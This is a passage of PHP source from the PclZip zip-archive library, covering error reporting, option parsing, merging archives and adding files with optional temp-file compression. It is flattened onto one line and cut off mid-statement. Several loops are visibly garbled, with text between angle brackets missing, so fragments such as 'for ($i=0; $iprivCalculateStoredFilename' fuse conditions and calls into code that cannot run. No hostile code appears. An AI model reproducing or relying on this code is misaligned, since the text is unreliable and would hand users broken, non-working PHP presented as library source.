PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode'); return 0; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privSwapBackMagicQuotes(); return 0; } $this->privCloseFd(); $v_prop['comment'] = $v_central_dir['comment']; $v_prop['nb'] = $v_central_dir['entries']; $v_prop['status'] = 'ok'; } $this->privSwapBackMagicQuotes(); return $v_prop; } function duplicate($p_archive) { $v_result = 1; $this->privErrorReset(); if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip')) { $v_result = $this->privDuplicate($p_archive->zipname); } else if (is_string($p_archive)) { if (!is_file($p_archive)) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'"); $v_result = PCLZIP_ERR_MISSING_FILE; } else { $v_result = $this->privDuplicate($p_archive); } } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); $v_result = PCLZIP_ERR_INVALID_PARAMETER; } return $v_result; } function merge($p_archive_to_add) { $v_result = 1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip')) { $v_result = $this->privMerge($p_archive_to_add); } else if (is_string($p_archive_to_add)) { $v_object_archive = new PclZip($p_archive_to_add); $v_result = $this->privMerge($v_object_archive); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); $v_result = PCLZIP_ERR_INVALID_PARAMETER; } return $v_result; } function errorCode() { if (PCLZIP_ERROR_EXTERNAL == 1) { return(PclErrorCode()); } else { return($this->error_code); } } function errorName($p_with_code=false) { $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR', PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL', PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL', PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER', PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE', PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG', PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP', PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE', PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL', PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION', PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT', PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL', PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL', PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM', PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE', PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE', PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION' ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE' ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION' ); if (isset($v_name[$this->error_code])) { $v_value = $v_name[$this->error_code]; } else { $v_value = 'NoName'; } if ($p_with_code) { return($v_value.' ('.$this->error_code.')'); } else { return($v_value); } } function errorInfo($p_full=false) { if (PCLZIP_ERROR_EXTERNAL == 1) { return(PclErrorString()); } else { if ($p_full) { return($this->errorName(true)." : ".$this->error_string); } else { return($this->error_string." [code ".$this->error_code."]"); } } } function privCheckFormat($p_level=0) { $v_result = true; clearstatcache(); $this->privErrorReset(); if (!is_file($this->zipname)) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'"); return(false); } if (!is_readable($this->zipname)) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'"); return(false); } return $v_result; } function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false) { $v_result=1; $i=0; while ($i<$p_size) { if (!isset($v_requested_options[$p_options_list[$i]])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method"); return PclZip::errorCode(); } switch ($p_options_list[$i]) { case PCLZIP_OPT_PATH : case PCLZIP_OPT_REMOVE_PATH : case PCLZIP_OPT_ADD_PATH : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); $i++; break; case PCLZIP_OPT_TEMP_FILE_THRESHOLD : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'"); return PclZip::errorCode(); } $v_value = $p_options_list[$i+1]; if ((!is_integer($v_value)) || ($v_value<0)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = $v_value*1048576; $i++; break; case PCLZIP_OPT_TEMP_FILE_ON : if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = true; break; case PCLZIP_OPT_TEMP_FILE_OFF : if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'"); return PclZip::errorCode(); } if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = true; break; case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } if ( is_string($p_options_list[$i+1]) && ($p_options_list[$i+1] != '')) { $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); $i++; } else { } break; case PCLZIP_OPT_BY_NAME : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1]; } else if (is_array($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } $i++; break; case PCLZIP_OPT_BY_EREG : $p_options_list[$i] = PCLZIP_OPT_BY_PREG; case PCLZIP_OPT_BY_PREG : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } $i++; break; case PCLZIP_OPT_COMMENT : case PCLZIP_OPT_ADD_COMMENT : case PCLZIP_OPT_PREPEND_COMMENT : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '" .PclZipUtilOptionText($p_options_list[$i]) ."'"); return PclZip::errorCode(); } if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '" .PclZipUtilOptionText($p_options_list[$i]) ."'"); return PclZip::errorCode(); } $i++; break; case PCLZIP_OPT_BY_INDEX : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } $v_work_list = array(); if (is_string($p_options_list[$i+1])) { $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', ''); $v_work_list = explode(",", $p_options_list[$i+1]); } else if (is_integer($p_options_list[$i+1])) { $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1]; } else if (is_array($p_options_list[$i+1])) { $v_work_list = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } $v_sort_flag=false; $v_sort_value=0; for ($j=0; $j= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; $i++; break; case PCLZIP_CB_PRE_EXTRACT : case PCLZIP_CB_POST_EXTRACT : case PCLZIP_CB_PRE_ADD : case PCLZIP_CB_POST_ADD : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } $v_function_name = $p_options_list[$i+1]; if (!function_exists($v_function_name)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = $v_function_name; $i++; break; default : PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Unknown parameter '" .$p_options_list[$i]."'"); return PclZip::errorCode(); } $i++; } if ($v_requested_options !== false) { for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { if ($v_requested_options[$key] == 'mandatory') { if (!isset($v_result_list[$key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); return PclZip::errorCode(); } } } } if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { } return $v_result; } function privOptionDefaultThreshold(&$p_options) { $v_result=1; if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) { return $v_result; } $v_memory_limit = ini_get('memory_limit'); $v_memory_limit = trim($v_memory_limit); $last = strtolower(substr($v_memory_limit, -1)); if($last == 'g') $v_memory_limit = $v_memory_limit*1073741824; if($last == 'm') $v_memory_limit = $v_memory_limit*1048576; if($last == 'k') $v_memory_limit = $v_memory_limit*1024; $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO); if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) { unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]); } return $v_result; } function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false) { $v_result=1; foreach ($p_file_list as $v_key => $v_value) { if (!isset($v_requested_options[$v_key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file"); return PclZip::errorCode(); } switch ($v_key) { case PCLZIP_ATT_FILE_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } $p_filedescr['filename'] = PclZipUtilPathReduction($v_value); if ($p_filedescr['filename'] == '') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_NEW_SHORT_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value); if ($p_filedescr['new_short_name'] == '') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_NEW_FULL_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value); if ($p_filedescr['new_full_name'] == '') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_COMMENT : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } $p_filedescr['comment'] = $v_value; break; case PCLZIP_ATT_FILE_MTIME : if (!is_integer($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } $p_filedescr['mtime'] = $v_value; break; case PCLZIP_ATT_FILE_CONTENT : $p_filedescr['content'] = $v_value; break; default : PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Unknown parameter '".$v_key."'"); return PclZip::errorCode(); } if ($v_requested_options !== false) { for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { if ($v_requested_options[$key] == 'mandatory') { if (!isset($p_file_list[$key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); return PclZip::errorCode(); } } } } } return $v_result; } function privFileDescrExpand(&$p_filedescr_list, &$p_options) { $v_result=1; $v_result_list = array(); for ($i=0; $iprivCalculateStoredFilename($v_descr, $p_options); $v_result_list[sizeof($v_result_list)] = $v_descr; if ($v_descr['type'] == 'folder') { $v_dirlist_descr = array(); $v_dirlist_nb = 0; if ($v_folder_handler = @opendir($v_descr['filename'])) { while (($v_item_handler = @readdir($v_folder_handler)) !== false) { if (($v_item_handler == '.') || ($v_item_handler == '..')) { continue; } $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler; if (($v_descr['stored_filename'] != $v_descr['filename']) && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) { if ($v_descr['stored_filename'] != '') { $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler; } else { $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler; } } $v_dirlist_nb++; } @closedir($v_folder_handler); } else { } if ($v_dirlist_nb != 0) { if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) { return $v_result; } $v_result_list = array_merge($v_result_list, $v_dirlist_descr); } else { } unset($v_dirlist_descr); } } $p_filedescr_list = $v_result_list; return $v_result; } function privCreate($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); $this->privDisableMagicQuotes(); if (($v_result = $this->privOpenFd('wb')) != 1) { return $v_result; } $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options); $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } function privAdd($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0)) { $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options); return $v_result; } $this->privDisableMagicQuotes(); if (($v_result=$this->privOpenFd('rb')) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } @rewind($this->zip_fd); $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode'); return PclZip::errorCode(); } $v_size = $v_central_dir['offset']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; $v_header_list = array(); if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) { fclose($v_zip_temp_fd); $this->privCloseFd(); @unlink($v_zip_temp_name); $this->privSwapBackMagicQuotes(); return $v_result; } $v_offset = @ftell($this->zip_fd); $v_size = $v_central_dir['size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_zip_temp_fd, $v_read_size); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } for ($i=0, $v_count=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) { fclose($v_zip_temp_fd); $this->privCloseFd(); @unlink($v_zip_temp_name); $this->privSwapBackMagicQuotes(); return $v_result; } $v_count++; } $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } $v_comment = $v_central_dir['comment']; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) { $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT]; } if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment; } $v_size = @ftell($this->zip_fd)-$v_offset; if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1) { unset($v_header_list); $this->privSwapBackMagicQuotes(); return $v_result; } $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; $this->privCloseFd(); @fclose($v_zip_temp_fd); $this->privSwapBackMagicQuotes(); @unlink($this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); return $v_result; } function privOpenFd($p_mode) { $v_result=1; if ($this->zip_fd != 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open'); return PclZip::errorCode(); } if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode'); return PclZip::errorCode(); } return $v_result; } function privCloseFd() { $v_result=1; if ($this->zip_fd != 0) @fclose($this->zip_fd); $this->zip_fd = 0; return $v_result; } function privAddList($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_header_list = array(); if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) { return $v_result; } $v_offset = @ftell($this->zip_fd); for ($i=0,$v_count=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) { return $v_result; } $v_count++; } $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } $v_comment = ''; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } $v_size = @ftell($this->zip_fd)-$v_offset; if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1) { unset($v_header_list); return $v_result; } return $v_result; } function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_header = array(); $v_nb = sizeof($p_result_list); for ($j=0; ($jprivAddFile($p_filedescr_list[$j], $v_header, $p_options); if ($v_result != 1) { return $v_result; } $p_result_list[$v_nb++] = $v_header; } } return $v_result; } function privAddFile($p_filedescr, &$p_header, &$p_options) { $v_result=1; $p_filename = $p_filedescr['filename']; if ($p_filename == "") { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)"); return PclZip::errorCode(); } clearstatcache(); $p_header['version'] = 20; $p_header['version_extracted'] = 10; $p_header['flag'] = 0; $p_header['compression'] = 0; $p_header['crc'] = 0; $p_header['compressed_size'] = 0; $p_header['filename_len'] = strlen($p_filename); $p_header['extra_len'] = 0; $p_header['disk'] = 0; $p_header['internal'] = 0; $p_header['offset'] = 0; $p_header['filename'] = $p_filename; $p_header['stored_filename'] = $p_filedescr['stored_filename']; $p_header['extra'] = ''; $p_header['status'] = 'ok'; $p_header['index'] = -1; if ($p_filedescr['type']=='file') { $p_header['external'] = 0x00000000; $p_header['size'] = filesize($p_filename); } else if ($p_filedescr['type']=='folder') { $p_header['external'] = 0x00000010; $p_header['mtime'] = filemtime($p_filename); $p_header['size'] = filesize($p_filename); } else if ($p_filedescr['type'] == 'virtual_file') { $p_header['external'] = 0x00000000; $p_header['size'] = strlen($p_filedescr['content']); } if (isset($p_filedescr['mtime'])) { $p_header['mtime'] = $p_filedescr['mtime']; } else if ($p_filedescr['type'] == 'virtual_file') { $p_header['mtime'] = time(); } else { $p_header['mtime'] = filemtime($p_filename); } if (isset($p_filedescr['comment'])) { $p_header['comment_len'] = strlen($p_filedescr['comment']); $p_header['comment'] = $p_filedescr['comment']; } else { $p_header['comment_len'] = 0; $p_header['comment'] = ''; } if (isset($p_options[PCLZIP_CB_PRE_ADD])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_header, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header); if ($v_result == 0) { $p_header['status'] = "skipped"; $v_result = 1; } if ($p_header['stored_filename'] != $v_local_header['stored_filename']) { $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']); } } if ($p_header['stored_filename'] == "") { $p_header['status'] = "filtered"; } if (strlen($p_header['stored_filename']) > 0xFF) { $p_header['status'] = 'filename_too_long'; } if ($p_header['status'] == 'ok') { if ($p_filedescr['type'] == 'file') { if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) { $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options); if ($v_result < PCLZIP_ERR_NO_ERROR) { return $v_result; } } else { if (($v_file = @fopen($p_filename, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode"); return PclZip::errorCode(); } $v_content = @fread($v_file, $p_header['size']); @fclose($v_file); $p_header['crc'] = @crc32($v_content); if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { $p_header['compressed_size'] = $p_header['size']; $p_header['compression'] = 0; } else { $v_content = @gzdeflate($v_content); $p_header['compressed_size'] = strlen($v_content); $p_header['compression'] = 8; } if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { @fclose($v_file); return $v_result; } @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']); } } else if ($p_filedescr['type'] == 'virtual_file') { $v_content = $p_filedescr['content']; $p_header['crc'] = @crc32($v_content); if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { $p_header['compressed_size'] = $p_header['size']; $p_header['compression'] = 0; } else { $v_content = @gzdeflate($v_content); $p_header['compressed_size'] = strlen($v_content); $p_header['compression'] = 8; } if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { @fclose($v_file); return $v_result; } @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']); } else if ($p_filedescr['type'] == 'folder') { if (@substr($p_header['stored_filename'], -1) != '/') { $p_header['stored_filename'] .= '/'; } $p_header['size'] = 0; if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { return $v_result; } } } if (isset($p_options[PCLZIP_CB_POST_ADD])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_header, $v_local_header); $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header); if ($v_result == 0) { $v_result = 1; } } return $v_result; } function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options) { $v_result=PCLZIP_ERR_NO_ERROR; $p_filename = $p_filedescr['filename']; if (($v_file = @fopen($p_filename, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode"); return PclZip::errorCode(); } $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) { fclose($v_file); PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode'); return PclZip::errorCode(); } $v_size = filesize($p_filename); while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_file, $v_read_size); @gzputs($v_file_compressed, $v_buffer, $v_read_size); $v_size -= $v_read_size; } @fclose($v_file); @gzclose($v_file_compressed); if (filesize($v_gzip_temp_name) < 18) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes'); return PclZip::errorCode(); } if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); return PclZip::errorCode(); } $v_binary_data = @fread($v_file_compressed, 10); $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data); $v_data_header['os'] = bin2hex($v_data_header['os']); @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8); $v_binary_data = @fread($v_file_compressed, 8); $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data); $p_header['compression'] = ord($v_data_header['cm']); $p_header['crc'] = $v_data_footer['crc']; $p_header['compressed_size'] = filesize($v_gzip_temp_name)-18; @fclose($v_file_compressed); if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { return $v_result; } if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); return PclZip::errorCode(); } fseek($v_file_compressed, 10); $v_size = 